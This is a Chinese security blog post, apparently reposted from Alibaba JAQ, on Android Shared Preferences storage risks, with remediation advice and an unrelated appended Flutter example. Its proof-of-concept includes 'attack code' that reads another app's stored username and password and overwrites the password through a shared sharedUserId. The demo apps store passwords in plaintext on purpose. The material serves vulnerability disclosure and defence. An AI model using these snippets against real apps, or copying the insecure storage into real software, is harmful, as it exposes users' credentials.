Android本地数据存储:Shared Preferences安全风险浅析

1. 安卓Shared Preferences存储安全风险描述

      Android系统提供了以下四种Android应用本地存储方式:Shared Preferences、SQLite Databases、Internal Storage、External Storage等存储方式。Shared Preferences是一种轻量级的基于XML文件存储的键值对(key-value)数据的数据存储方式,一般用于储存应用的配置等信息【1】; 
      Shared Preferences存储安全风险源于:1)开发者在创建文件时没有正确的选取合适的创建模式(MODE_PRIVATE、MODE_WORLD_READABLE以及MODE_WORLD_WRITEABLE)进行权限控制;2)开发者过度依赖Android系统内部存储安全机制,将用户信息、密码等敏感重要的信息明文存储在Shared Preferences文件中,导致攻击者可通过root手机来查看敏感信息。
在乌云漏洞平台上,存在大量Shared Preferences文件中明文存储个人身份信息、密码以及token等重要敏感信息导致泄露的漏洞,如网易阅读Android客户端漏洞导致账号密码泄漏[2]、高朋团购网泄漏用户敏感信息[3]、苏宁易购用户敏感信息泄露[4]、最新江苏移动营业厅官方手机android客户端应用目录两个文件明文存储登录使用的服务密码手机号等信息[5]。

2.安卓Shared Preferences存储安全影响范围

      Android所有系统

3.安卓Shared Preferences存储安全风险详情

1) 风险位置:

SharedPreferences.getSharedPreferences(String prefName, int mode);

2) 风险触发前提条件:

      使用MODE_WORLD_READABLE模式创建Shared Preferences文件或使用MODE_WORLD_WRITEABLE模式创建Shared Preferences文件并含有“android:sharedUserId”属性值和测试签名;

3) 风险原理:

      a. 使用MODE_WORLD_READABLE模式创建Shared Preferences文件,使得其他应用对该Shared Preferences文件具备可读的权限;
      b. 使用MODE_WORLD_WRITEABLE模式创建Shared Preferences文件并含有“android:sharedUserId”属性值,使得其他应用对该应用的Shared Preferences文件具备可写的权限。
      c. 在具备root权限的程序或用户对任何应用程序通过任意模式创建的的Shared Preferences文件都具有可读可写的权限。

4. Shared Preferences存储安全风险POC

      1) 使用MODE_PRIVATE模式创建Shared Preferences文件,其他应用不可读取该应用的Shared Preferences文件的内容;
      通过MODE_PRIVATE模式创建Shared Preferences文件的代码片段:
String user=mEtUserName.getText().toString();
String pass=mEtPassword.getText().toString();
SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_PRIVATE).edit();
editor.putString("username", user);
editor.putString("password", pass);
editor.commit();
      该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_PRIVATE模式创建Shared Preferences文件:
 
      通过adb shell进入系统终端,切换至su账户查看该应用创建的shared Preferences文件属性,得知其权限为“-rw-rw----”,其中others的权限不可读,如下图所示:
 

      通过adb shell进入系统终端,通过普通用户查看该应用创建的Shared Preferences文件,如下图所示,将提示“Permission denied”:

      其他应用查看该应用创建的Shared Preferences文件的代码片段:
Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE);
String username = sharedPreferences.getString("username", "");
String password = sharedPreferences.getString("password", "");
mBtnCrackerContent.setText("user: " + username + "pwd: " + password);
      通过adb logcat发现以下日志,即提示没有权限查看该Shared Preferences文件:
 
      2) 使用MODE_WORLD_READABLE模式创建Shared Preferences文件,其他应用可读取该应用创建的Shared Preferences文件,将会造成敏感信息泄露;
      通过MODE_WORLD_READABLE模式创建Shared Preferences文件的代码片段:
String user=mEtUserName.getText().toString();
String pass=mEtPassword.getText().toString();
SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_WORLD_READABLE).edit();
editor.putString("username", user);
editor.putString("password", pass);
editor.commit();
      该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_WORLD_READABLE模式创建Shared Preferences文件:
 
      通过adb shell进入系统终端,切换至su账户查看该应用创建的Shared Preferences文件属性,得知其权限为“-rw-rw-r--”,其中others具有可读权限,如下图所示:
 

      通过adb shell进入普通用户的shell,查看通过MODE_WORLD_READABLE模式Shared Preferences文件”settings.xml”,文件内容如下图所示:

      攻击代码片段:
Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE);
String username = sharedPreferences.getString("username", "");
String password = sharedPreferences.getString("password", "");
mBtnCrackerContent.setText("user: " + username + "pwd: " + password);
      启动攻击应用,即可获取到包名为“com.alibaba.jaq.datastoragepoc”应用的Shared Preferences文件“settings.xml”的内容键值:
 
      3) 使用MODE_WORLD_WRITEABLE模式创建Shared Preferences,虽然其他应用不可读取该应用的Shared Preferences文件,但是如果恶意应用与该POC应用具有相同的“android:sharedUserId”属性值和签名key时,恶意应用即可对其Shared Preferences文件进行写操作;
      通过MODE_WORLD_WRITEABLE模式创建Shared Preferences的代码片段:
String user=mEtUserName.getText().toString();
String pass=mEtPassword.getText().toString();
SharedPreferences.Editor editor = getSharedPreferences("settings", Context.MODE_WORLD_WRITEABLE).edit();
editor.putString("username", user);
editor.putString("password", pass);
editor.commit();
      该POC应用启动后输入用户名和密码,然后点击登录之后将以MODE_WORLD_WRITEABLE模式创建Shared Preferences文件:

      通过adb shell进入系统终端,切换至su账户查看创建的shared Preferences文件的权限为“-rw-rw--w-”,其中others具有可写权限,如下图所示:

 

      通过adb shell进入普通用户的shell,查看通过MODE_WORLD_WRITEABLE模式shared Preferences文件”settings.xml”, 如下图所示,将提示“Permission denied”:
 
      读取其他应用的shared Preferences的攻击代码片段:
Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
SharedPreferences sharedPreferences = context.getSharedPreferences("settings", Context.MODE_WORLD_READABLE);
String username = sharedPreferences.getString("username", "");
String password = sharedPreferences.getString("password", "");
mBtnCrackerContent.setText("user: " + username + "pwd: " + password);
      启动攻击应用读取包名为“com.alibaba.jaq.datastoragepoc”应用的shared Preference文件“settings.xml”时,将提示“Permission denied”:
 
      写其他应用的Shared Preferences文件的攻击代码片段:
Context context = createPackageContext("com.alibaba.jaq.datastoragepoc", Context.CONTEXT_IGNORE_SECURITY);
SharedPreferences.Editor editor = context.getSharedPreferences("settings", Context.MODE_WORLD_WRITEABLE).edit();
editor.putString("password", "hacked");
editor.commit();
      当受害应用和攻击应用都相同含有“android:sharedUserId”属性值时,攻击者即可对受害应用的Shared Perferences有写的权限:
受害者应用AndroidManifest.xml文件内容:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
          package="com.alibaba.jaq.datastoragepoc"
          android:versionCode="1"
          android:versionName="1.0"
          android:sharedUserId="jaq.poc">
    <uses-sdk android:minSdkVersion="10"/>
    <application android:label="@string/app_name"
                 >
        <activity android:name="MainActivity"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>
      攻击者应用AndroidManifest.xml文件内容:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
          package="com.alibaba.jaq.datastoragecrackerpoc"
          android:versionCode="1"
          android:versionName="1.0"
          android:sharedUserId="jaq.poc">
    <uses-sdk android:minSdkVersion="10"/>
    <application android:label="@string/app_name"
                 >
        <activity android:name="CrackerActivity"
                  android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>
</manifest>
      下图结果显示,当受害应用和攻击应用都相同含有“android:sharedUserId”属性值时,攻击者可写入受害应用通过MODE_WORLD_WRITEABLE模式创建的Shared Preferences:
 

4) root下可任意读写应用创建的Shared Preferences,因此不可将密码等用户敏感信息明文存储在Shared Preferences中,以防止Android设备被root之后,造成敏感信息的泄露以及财产损失;

 

5.Shared Preferences存储安全风险修复建议

      1. 避免使用MODE_WORLD_WRITEABLE和MODE_WORLD_READABLE模式创建进程间通信的文件,此处即为Shared Preferences;

      出于安全考虑,阿里聚安全建议不要使用全局可读模式和全局可写模式创建进程间通信的文件,此处即为但不限于Shared Preferences。如果需要与其他进程应用进行数据共享,请考虑使用content provider,详情参照Google官方安全指导[6]。


      2. 避免将密码等敏感数据信息明文存储在Shared Preferences中;

      出于安全考虑,阿里聚安全建议不要将密码等敏感信息存储在Shared Preferences等内部存储中,即使Android系统内部存储安全机制,使得内部存储文件可不让其他应用读写,但是在Android系统root之后,该安全机制将失效而导致信息泄露。因此应该将敏感信息进行加密存储在Shared Preferences等内部存储文件中,详情参照Google官方安全指导[6]。
   

      3. 避免滥用“android:sharedUserId”属性;

      阿里聚安全建议不要在使用“android:sharedUserId”属性的同时,对应用使用测试签名,否则其他应用拥有“android:sharedUserId”属性值和测试签名时,将会访问到内部存储文件数据 [7]。


引用
[1] http://developer.android.com/guide/topics/data/data-storage.html#pref
[2] http://www.wooyun.org/bugs/wooyun-2010-010056
[3] http://www.wooyun.org/bugs/wooyun-2010-016309
[4] http://www.wooyun.org/bugs/wooyun-2010-014308
[5] http://www.wooyun.org/bugs/wooyun-2010-079232
[6]http://developer.android.com/training/articles/security-tips.html#StoringData

[7]http://developer.android.com/guide/topics/manifest/manifest-element.html#uid



原文地址:http://jaq.alibaba.com/blog.htm?id=56

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是使用Shared Preferences进行数据持久化的示例代码: ```dart import 'package:flutter/material.dart'; import 'package:shared_preferences/shared_preferences.dart'; class ExamplePage extends StatefulWidget { @override _ExamplePageState createState() => _ExamplePageState(); } class _ExamplePageState extends State<ExamplePage> { TextEditingController _controller = TextEditingController(); String _savedText = ''; @override void initState() { super.initState(); _loadSavedText(); } void _loadSavedText() async { SharedPreferences prefs = await SharedPreferences.getInstance(); String savedText = prefs.getString('savedText') ?? ''; setState(() { _savedText = savedText; _controller.text = savedText; }); } void _saveText(String text) async { SharedPreferences prefs = await SharedPreferences.getInstance(); await prefs.setString('savedText', text); } @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: Text('Example Page'), ), body: Padding( padding: EdgeInsets.all(16.0), child: Column( crossAxisAlignment: CrossAxisAlignment.stretch, children: <Widget>[ TextField( controller: _controller, decoration: InputDecoration( labelText: 'Enter some text', ), onChanged: (text) { _saveText(text); }, ), SizedBox(height: 16.0), Text( 'Saved text: $_savedText', style: TextStyle(fontSize: 18.0), ), ], ), ), ); } } ``` 在上述代码中,我们首先在initState()方法中加载之前保存的文本,并将其设置为文本框的默认值。然后,我们在文本框中输入文本时使用SharedPreferences实例保存文本。最后,我们将保存的文本显示在屏幕上。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值